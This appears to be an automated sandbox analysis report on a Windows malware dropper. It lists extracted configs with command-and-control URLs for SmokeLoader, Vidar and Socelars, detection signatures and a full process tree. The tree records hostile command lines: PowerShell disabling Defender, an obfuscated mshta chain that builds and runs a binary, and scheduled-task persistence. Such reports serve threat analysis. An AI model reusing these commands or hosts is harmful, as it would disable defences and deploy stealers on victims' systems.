Analysis
-
max time kernel
17s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
19/11/2021, 13:46
Static task
static1
Behavioral task
behavioral1
Sample
a751d63055d095450ccf41ecad484077.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
a751d63055d095450ccf41ecad484077.exe
Resource
win10-en-20211014
General
-
Target
a751d63055d095450ccf41ecad484077.exe
-
Size
13.6MB
-
MD5
a751d63055d095450ccf41ecad484077
-
SHA1
b003a86573fa1d62584f27081aa8de5029e495e1
-
SHA256
5b77e331ff166d24ccaf781b84705bb6afcceaaa708024d54efc2a10f515c32a
-
SHA512
207ed821f9c312270f1ed9d51f79ca0fdf7cef067d73c8ecebe14267d2dd45e7b672f84cf7e32016e6ba76c3fb6ede2701bb02fd81ec7529b48779d6722a223b
Malware Config
Extracted
socelars
http://www.gianninidesign.com/
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://membro.at/upload/
http://jeevanpunetha.com/upload/
http://misipu.cn/upload/
http://zavodooo.ru/upload/
http://targiko.ru/upload/
http://vues3d.com/upload/
Extracted
vidar
48.6
937
https://mastodon.online/@valhalla
https://koyu.space/@valhalla
-
profile_id
937
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4452 4136 rundll32.exe 116 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral2/memory/4256-321-0x0000000000418F12-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral2/files/0x000500000001aba8-148.dat family_socelars behavioral2/files/0x000500000001aba8-163.dat family_socelars -
Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/3932-501-0x0000000000400000-0x00000000004D8000-memory.dmp family_vidar behavioral2/memory/5072-539-0x00000000005B0000-0x00000000006FA000-memory.dmp family_vidar -
resource yara_rule behavioral2/files/0x000400000001ab9a-123.dat aspack_v212_v242 behavioral2/files/0x000400000001ab9a-124.dat aspack_v212_v242 behavioral2/files/0x000400000001ab9b-122.dat aspack_v212_v242 behavioral2/files/0x000400000001ab9b-127.dat aspack_v212_v242 behavioral2/files/0x000400000001ab9d-128.dat aspack_v212_v242 behavioral2/files/0x000400000001ab9d-129.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 21 IoCs
pid Process 3484 setup_installer.exe 1004 setup_install.exe 1032 Mon2246247f54.exe 3672 Mon221ccf3dbaf.exe 1356 Mon22be93d800d2c30d.exe 1464 Mon22aa0adb15.exe 2100 Mon22ef09abdc.exe 3912 Mon22069c5d6c59dd9a.exe 2268 Mon223a1e1e377e2524.exe 3552 Mon2234cdb458c91b79.exe 3376 Mon229ea02f6ba.exe 3232 Mon22621a9647becc9.exe 3904 Mon221be9cc2d.exe 1252 Mon2239127d69.exe 900 Mon22ef09abdc.exe 3804 Mon22c846f022dc5a0.exe 3160 Mon221a6b2a309.exe 3136 Mon2234cdb458c91b79.tmp 2616 Mon22aa0adb15.exe 904 Mon221be9cc2d.tmp 676 Mon2234cdb458c91b79.exe -
Loads dropped DLL 8 IoCs
pid Process 1004 setup_install.exe 1004 setup_install.exe 1004 setup_install.exe 1004 setup_install.exe 1004 setup_install.exe 1004 setup_install.exe 1004 setup_install.exe 3136 Mon2234cdb458c91b79.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 45 ipinfo.io 143 ipinfo.io 144 ipinfo.io 216 ipinfo.io 217 ipinfo.io 29 ip-api.com 44 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2100 set thread context of 900 2100 Mon22ef09abdc.exe 98 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
pid pid_target Process procid_target 4416 900 WerFault.exe 98 4468 4708 WerFault.exe 139 5200 4356 WerFault.exe 152 5340 4640 WerFault.exe 158 5652 4708 WerFault.exe 139 1816 4708 WerFault.exe 139 5440 4708 WerFault.exe 139 3860 4708 WerFault.exe 139 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon22069c5d6c59dd9a.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon22069c5d6c59dd9a.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Mon22069c5d6c59dd9a.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5984 schtasks.exe 5976 schtasks.exe -
Kills process with taskkill 6 IoCs
pid Process 2860 taskkill.exe 4464 taskkill.exe 5744 taskkill.exe 5788 taskkill.exe 2380 taskkill.exe 5600 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3912 Mon22069c5d6c59dd9a.exe 3912 Mon22069c5d6c59dd9a.exe 1252 Mon2239127d69.exe 1252 Mon2239127d69.exe 416 powershell.exe 416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 38 IoCs
description pid Process Token: SeCreateTokenPrivilege 1032 Mon2246247f54.exe Token: SeAssignPrimaryTokenPrivilege 1032 Mon2246247f54.exe Token: SeLockMemoryPrivilege 1032 Mon2246247f54.exe Token: SeIncreaseQuotaPrivilege 1032 Mon2246247f54.exe Token: SeMachineAccountPrivilege 1032 Mon2246247f54.exe Token: SeTcbPrivilege 1032 Mon2246247f54.exe Token: SeSecurityPrivilege 1032 Mon2246247f54.exe Token: SeTakeOwnershipPrivilege 1032 Mon2246247f54.exe Token: SeLoadDriverPrivilege 1032 Mon2246247f54.exe Token: SeSystemProfilePrivilege 1032 Mon2246247f54.exe Token: SeSystemtimePrivilege 1032 Mon2246247f54.exe Token: SeProfSingleProcessPrivilege 1032 Mon2246247f54.exe Token: SeIncBasePriorityPrivilege 1032 Mon2246247f54.exe Token: SeCreatePagefilePrivilege 1032 Mon2246247f54.exe Token: SeCreatePermanentPrivilege 1032 Mon2246247f54.exe Token: SeBackupPrivilege 1032 Mon2246247f54.exe Token: SeRestorePrivilege 1032 Mon2246247f54.exe Token: SeShutdownPrivilege 1032 Mon2246247f54.exe Token: SeDebugPrivilege 1032 Mon2246247f54.exe Token: SeAuditPrivilege 1032 Mon2246247f54.exe Token: SeSystemEnvironmentPrivilege 1032 Mon2246247f54.exe Token: SeChangeNotifyPrivilege 1032 Mon2246247f54.exe Token: SeRemoteShutdownPrivilege 1032 Mon2246247f54.exe Token: SeUndockPrivilege 1032 Mon2246247f54.exe Token: SeSyncAgentPrivilege 1032 Mon2246247f54.exe Token: SeEnableDelegationPrivilege 1032 Mon2246247f54.exe Token: SeManageVolumePrivilege 1032 Mon2246247f54.exe Token: SeImpersonatePrivilege 1032 Mon2246247f54.exe Token: SeCreateGlobalPrivilege 1032 Mon2246247f54.exe Token: 31 1032 Mon2246247f54.exe Token: 32 1032 Mon2246247f54.exe Token: 33 1032 Mon2246247f54.exe Token: 34 1032 Mon2246247f54.exe Token: 35 1032 Mon2246247f54.exe Token: SeDebugPrivilege 2268 Mon223a1e1e377e2524.exe Token: SeDebugPrivilege 3672 Mon221ccf3dbaf.exe Token: SeDebugPrivilege 668 WwC8qkY8nF6grR8hGVQ5Eedi.exe Token: SeDebugPrivilege 416 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3032 wrote to memory of 3484 3032 a751d63055d095450ccf41ecad484077.exe 68 PID 3032 wrote to memory of 3484 3032 a751d63055d095450ccf41ecad484077.exe 68 PID 3032 wrote to memory of 3484 3032 a751d63055d095450ccf41ecad484077.exe 68 PID 3484 wrote to memory of 1004 3484 setup_installer.exe 69 PID 3484 wrote to memory of 1004 3484 setup_installer.exe 69 PID 3484 wrote to memory of 1004 3484 setup_installer.exe 69 PID 1004 wrote to memory of 2884 1004 setup_install.exe 72 PID 1004 wrote to memory of 2884 1004 setup_install.exe 72 PID 1004 wrote to memory of 2884 1004 setup_install.exe 72 PID 1004 wrote to memory of 4060 1004 setup_install.exe 73 PID 1004 wrote to memory of 4060 1004 setup_install.exe 73 PID 1004 wrote to memory of 4060 1004 setup_install.exe 73 PID 1004 wrote to memory of 1848 1004 setup_install.exe 74 PID 1004 wrote to memory of 1848 1004 setup_install.exe 74 PID 1004 wrote to memory of 1848 1004 setup_install.exe 74 PID 1004 wrote to memory of 1836 1004 setup_install.exe 75 PID 1004 wrote to memory of 1836 1004 setup_install.exe 75 PID 1004 wrote to memory of 1836 1004 setup_install.exe 75 PID 1004 wrote to memory of 396 1004 setup_install.exe 76 PID 1004 wrote to memory of 396 1004 setup_install.exe 76 PID 1004 wrote to memory of 396 1004 setup_install.exe 76 PID 1004 wrote to memory of 600 1004 setup_install.exe 77 PID 1004 wrote to memory of 600 1004 setup_install.exe 77 PID 1004 wrote to memory of 600 1004 setup_install.exe 77 PID 1004 wrote to memory of 704 1004 setup_install.exe 78 PID 1004 wrote to memory of 704 1004 setup_install.exe 78 PID 1004 wrote to memory of 704 1004 setup_install.exe 78 PID 2884 wrote to memory of 416 2884 cmd.exe 122 PID 2884 wrote to memory of 416 2884 cmd.exe 122 PID 2884 wrote to memory of 416 2884 cmd.exe 122 PID 1848 wrote to memory of 1032 1848 cmd.exe 79 PID 1848 wrote to memory of 1032 1848 cmd.exe 79 PID 1848 wrote to memory of 1032 1848 cmd.exe 79 PID 4060 wrote to memory of 668 4060 cmd.exe 121 PID 4060 wrote to memory of 668 4060 cmd.exe 121 PID 4060 wrote to memory of 668 4060 cmd.exe 121 PID 1004 wrote to memory of 3224 1004 setup_install.exe 120 PID 1004 wrote to memory of 3224 1004 setup_install.exe 120 PID 1004 wrote to memory of 3224 1004 setup_install.exe 120 PID 1004 wrote to memory of 1124 1004 setup_install.exe 119 PID 1004 wrote to memory of 1124 1004 setup_install.exe 119 PID 1004 wrote to memory of 1124 1004 setup_install.exe 119 PID 1004 wrote to memory of 3700 1004 setup_install.exe 118 PID 1004 wrote to memory of 3700 1004 setup_install.exe 118 PID 1004 wrote to memory of 3700 1004 setup_install.exe 118 PID 1836 wrote to memory of 3672 1836 cmd.exe 117 PID 1836 wrote to memory of 3672 1836 cmd.exe 117 PID 1836 wrote to memory of 3672 1836 cmd.exe 117 PID 1004 wrote to memory of 1480 1004 setup_install.exe 80 PID 1004 wrote to memory of 1480 1004 setup_install.exe 80 PID 1004 wrote to memory of 1480 1004 setup_install.exe 80 PID 1004 wrote to memory of 2392 1004 setup_install.exe 113 PID 1004 wrote to memory of 2392 1004 setup_install.exe 113 PID 1004 wrote to memory of 2392 1004 setup_install.exe 113 PID 1004 wrote to memory of 2504 1004 setup_install.exe 112 PID 1004 wrote to memory of 2504 1004 setup_install.exe 112 PID 1004 wrote to memory of 2504 1004 setup_install.exe 112 PID 704 wrote to memory of 1356 704 cmd.exe 111 PID 704 wrote to memory of 1356 704 cmd.exe 111 PID 704 wrote to memory of 1356 704 cmd.exe 111 PID 1004 wrote to memory of 1276 1004 setup_install.exe 110 PID 1004 wrote to memory of 1276 1004 setup_install.exe 110 PID 1004 wrote to memory of 1276 1004 setup_install.exe 110 PID 396 wrote to memory of 1464 396 cmd.exe 81
Processes
-
C:\Users\Admin\AppData\Local\Temp\a751d63055d095450ccf41ecad484077.exe"C:\Users\Admin\AppData\Local\Temp\a751d63055d095450ccf41ecad484077.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:416
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:668
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2246247f54.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2246247f54.exeMon2246247f54.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1032 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4108
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:4464
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221ccf3dbaf.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221ccf3dbaf.exeMon221ccf3dbaf.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3672
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22aa0adb15.exe4⤵
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22aa0adb15.exeMon22aa0adb15.exe5⤵
- Executes dropped EXE
PID:1464 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22aa0adb15.exe"C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22aa0adb15.exe" -u6⤵
- Executes dropped EXE
PID:2616
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221be9cc2d.exe4⤵PID:600
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221be9cc2d.exeMon221be9cc2d.exe5⤵
- Executes dropped EXE
PID:3904
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22be93d800d2c30d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:704 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22be93d800d2c30d.exeMon22be93d800d2c30d.exe5⤵
- Executes dropped EXE
PID:1356
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2234cdb458c91b79.exe4⤵PID:1480
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2234cdb458c91b79.exeMon2234cdb458c91b79.exe5⤵
- Executes dropped EXE
PID:3552
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22c846f022dc5a0.exe4⤵PID:1724
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22c846f022dc5a0.exeMon22c846f022dc5a0.exe5⤵
- Executes dropped EXE
PID:3804
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon221a6b2a309.exe4⤵PID:4008
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exeMon221a6b2a309.exe5⤵
- Executes dropped EXE
PID:3160 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exeC:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exe6⤵PID:344
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exeC:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exe6⤵PID:4256
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon229ea02f6ba.exe4⤵PID:1276
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22621a9647becc9.exe4⤵PID:2504
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon223a1e1e377e2524.exe4⤵PID:2392
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2239127d69.exe4⤵PID:3700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22069c5d6c59dd9a.exe4⤵PID:1124
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon22ef09abdc.exe /mixtwo4⤵PID:3224
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22069c5d6c59dd9a.exeMon22069c5d6c59dd9a.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:3912
-
C:\Users\Admin\AppData\Local\Temp\is-7GS67.tmp\Mon2234cdb458c91b79.tmp"C:\Users\Admin\AppData\Local\Temp\is-7GS67.tmp\Mon2234cdb458c91b79.tmp" /SL5="$50052,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2234cdb458c91b79.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3136 -
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2234cdb458c91b79.exe"C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2234cdb458c91b79.exe" /SILENT2⤵
- Executes dropped EXE
PID:676
-
-
C:\Users\Admin\AppData\Local\Temp\is-6E1UV.tmp\Mon221be9cc2d.tmp"C:\Users\Admin\AppData\Local\Temp\is-6E1UV.tmp\Mon221be9cc2d.tmp" /SL5="$200D4,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221be9cc2d.exe"1⤵
- Executes dropped EXE
PID:904
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScripT: CLosE ( CREatEObJECT ("WsCRiPt.shell"). Run ("cMd.EXE /Q/c TyPE ""C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22be93d800d2c30d.exe""> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If """"== """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22be93d800d2c30d.exe"" ) do taskkill /iM ""%~NXI"" /f " ,0 , true ))1⤵PID:1236
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c TyPE "C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22be93d800d2c30d.exe"> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If ""== "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22be93d800d2c30d.exe" ) do taskkill /iM "%~NXI" /f2⤵PID:1380
-
C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV3⤵PID:3292
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScripT: CLosE ( CREatEObJECT ("WsCRiPt.shell"). Run ("cMd.EXE /Q/c TyPE ""C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE""> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If ""-p06tbDqYPloXoX2~G5X_tuGmWvqV ""== """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE"" ) do taskkill /iM ""%~NXI"" /f " ,0 , true ))4⤵PID:3892
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c TyPE "C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE"> ..\aOYtCjnJMFC.exE &&StaRT ..\aoYTCjNJMFC.EXe -p06tbDqYPloXoX2~G5X_tuGmWvqV & If "-p06tbDqYPloXoX2~G5X_tuGmWvqV "== "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\aOYtCjnJMFC.exE" ) do taskkill /iM "%~NXI" /f5⤵PID:3560
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: CloSe (CreATeobjeCt ( "wscrIpt.shell" ).RUn ( "CMD.Exe /C ECho | SEt /p = ""MZ"" > W1~ZjJt6.k2 & cOPY /y /B W1~ZJJT6.K2+ QJBUifn.V4 + kamK.0G+ Zqv6P.39I + EnMDZ.SQ+ CmeNW.Ti2+NQXW.Q ..\LOErQ9MI.F& DEl /Q *& STaRt control.exe ..\LOERq9MI.F " ,0, tRUe ))4⤵PID:4668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ECho | SEt /p = "MZ" > W1~ZjJt6.k2 & cOPY /y /B W1~ZJJT6.K2+ QJBUifn.V4 + kamK.0G+ Zqv6P.39I+ EnMDZ.SQ+ CmeNW.Ti2+NQXW.Q ..\LOErQ9MI.F& DEl /Q *& STaRt control.exe ..\LOERq9MI.F5⤵PID:5000
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "6⤵PID:4008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>W1~ZjJt6.k2"6⤵PID:4844
-
-
C:\Windows\SysWOW64\control.execontrol.exe ..\LOERq9MI.F6⤵PID:5240
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\LOERq9MI.F7⤵PID:5804
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\LOERq9MI.F8⤵PID:5864
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\LOERq9MI.F9⤵PID:908
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "Mon22be93d800d2c30d.exe" /f3⤵
- Kills process with taskkill
PID:2860
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-R69RM.tmp\Mon2234cdb458c91b79.tmp"C:\Users\Admin\AppData\Local\Temp\is-R69RM.tmp\Mon2234cdb458c91b79.tmp" /SL5="$1025E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2234cdb458c91b79.exe" /SILENT1⤵PID:3832
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exeC:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon221a6b2a309.exe1⤵PID:3008
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon22ef09abdc.exeMon22ef09abdc.exe /mixtwo1⤵
- Executes dropped EXE
PID:900 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 8202⤵
- Program crash
PID:4416
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon2239127d69.exeMon2239127d69.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1252
-
C:\Users\Admin\AppData\Local\Temp\7zSC9DA1DD5\Mon229ea02f6ba.exeMon229ea02f6ba.exe1⤵
- Executes dropped EXE
PID:3376 -
C:\Users\Admin\Pictures\Adobe Films\djsxveZJZjI3Zg9d18wjRkix.exe"C:\Users\Admin\Pictures\Adobe Films\djsxveZJZjI3Zg9d18wjRkix.exe"2⤵PID:4388
-
-
C:\Users\Admin\Pictures\Adobe Films\4vm8xMyEbFRFjpAysXShSvHW.exe"C:\Users\Admin\Pictures\Adobe Films\4vm8xMyEbFRFjpAysXShSvHW.exe"2⤵PID:3932
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 4vm8xMyEbFRFjpAysXShSvHW.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\4vm8xMyEbFRFjpAysXShSvHW.exe" & del C:\ProgramData\*.dll & exit3⤵PID:4564
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 4vm8xMyEbFRFjpAysXShSvHW.exe /f4⤵
- Kills process with taskkill
PID:2380
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cseEQH3VT7Cdrxb56PutOMbp.exe"C:\Users\Admin\Pictures\Adobe Films\cseEQH3VT7Cdrxb56PutOMbp.exe"2⤵PID:4032
-
C:\Users\Admin\Documents\nu6DzcYyfXWkZijINAAd0viu.exe"C:\Users\Admin\Documents\nu6DzcYyfXWkZijINAAd0viu.exe"3⤵PID:5956
-
C:\Users\Admin\Pictures\Adobe Films\GU8UmXxYDB60Du0TPeZuHan3.exe"C:\Users\Admin\Pictures\Adobe Films\GU8UmXxYDB60Du0TPeZuHan3.exe"4⤵PID:4660
-
-
C:\Users\Admin\Pictures\Adobe Films\q0KSoXqsdPkBIqz6o7UiJKdi.exe"C:\Users\Admin\Pictures\Adobe Films\q0KSoXqsdPkBIqz6o7UiJKdi.exe"4⤵PID:6040
-
-
C:\Users\Admin\Pictures\Adobe Films\iFZy75tFEfWdYQmeGA2vJgu3.exe"C:\Users\Admin\Pictures\Adobe Films\iFZy75tFEfWdYQmeGA2vJgu3.exe"4⤵PID:4496
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:5280
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:5600
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jFk0gGilTw2a9S4_vYGNdHre.exe"C:\Users\Admin\Pictures\Adobe Films\jFk0gGilTw2a9S4_vYGNdHre.exe"4⤵PID:5276
-
-
C:\Users\Admin\Pictures\Adobe Films\JZa2YlOohqABm6rFUwcIYJCf.exe"C:\Users\Admin\Pictures\Adobe Films\JZa2YlOohqABm6rFUwcIYJCf.exe"4⤵PID:3764
-
-
C:\Users\Admin\Pictures\Adobe Films\DU66wmX4avSRNb8hswNKUel8.exe"C:\Users\Admin\Pictures\Adobe Films\DU66wmX4avSRNb8hswNKUel8.exe"4⤵PID:1484
-
C:\Users\Admin\AppData\Local\Temp\is-AHUGL.tmp\DU66wmX4avSRNb8hswNKUel8.tmp"C:\Users\Admin\AppData\Local\Temp\is-AHUGL.tmp\DU66wmX4avSRNb8hswNKUel8.tmp" /SL5="$103B2,506127,422400,C:\Users\Admin\Pictures\Adobe Films\DU66wmX4avSRNb8hswNKUel8.exe"5⤵PID:2584
-
C:\Users\Admin\AppData\Local\Temp\is-7GO82.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-7GO82.tmp\lakazet.exe" /S /UID=27096⤵PID:4028
-
C:\Users\Admin\AppData\Local\Temp\94-ee92f-810-3c1bd-db656cdbf7a25\Vaesifegesho.exe"C:\Users\Admin\AppData\Local\Temp\94-ee92f-810-3c1bd-db656cdbf7a25\Vaesifegesho.exe"7⤵PID:1992
-
-
C:\Users\Admin\AppData\Local\Temp\64-251ba-fd2-7b182-fefb8a46a32bc\Gishoceloshu.exe"C:\Users\Admin\AppData\Local\Temp\64-251ba-fd2-7b182-fefb8a46a32bc\Gishoceloshu.exe"7⤵PID:2808
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\WwC8qkY8nF6grR8hGVQ5Eedi.exe"C:\Users\Admin\Pictures\Adobe Films\WwC8qkY8nF6grR8hGVQ5Eedi.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:668 -
C:\Users\Admin\AppData\Roaming\Traffic\setup.exeC:\Users\Admin\AppData\Roaming\Traffic\setup.exe -cid= -sid= -silent=15⤵PID:5016
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5984
-
-
